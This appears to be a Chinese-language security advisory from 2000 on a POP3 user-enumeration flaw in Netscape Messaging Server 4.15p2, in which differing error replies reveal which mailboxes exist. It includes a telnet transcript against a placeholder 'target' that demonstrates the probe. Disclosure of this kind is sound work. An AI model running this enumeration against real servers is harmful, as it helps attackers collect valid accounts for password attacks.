Netscape Messaging Server EMAIL地址验证漏洞发布时间：2000-10-13 更新时间：2000-10-13 严重程度：中 威胁程度：服务器信息泄露 错误类型：设计错误 利用方式：服务器模式 受影响系统 Netscape Messaging Server 4.15p2详细描述 如果在合法MAIL地址中输入不正确的PASSWORD，并连接服务器，密码错误 信息就会出现，但是，当一个输入非法的EMAIL地址，错误信息会返回这个 地址不在MAILBOX中，由于比较错误信息的缘故，就可以获得一些合法MAIL的列表。 测试代码 [user@ ~]$ telnet target 110 Trying target... Connected target (target). Escape character is '^]'. +OK target POP3 service (Netscape Messaging Server 4.15 Patch 1 (built Mar 15 2000)) USER test.user +OK Name is a valid mailbox PASS password -ERR Password incorrect quit +OK Connection closed by foreign host. [user@ ~]$ telnet target 110 Trying target... Connected to target (target). Escape character is '^]'. +OK target POP3 service (Netscape Messaging Server 4.15 Patch 1 (built Mar 15 2000)) user invalid.user +OK Name is a valid mailbox PASS password -ERR User unknown quit +OK Connection closed by foreign host. 解决方案 尚无 相关信息 |
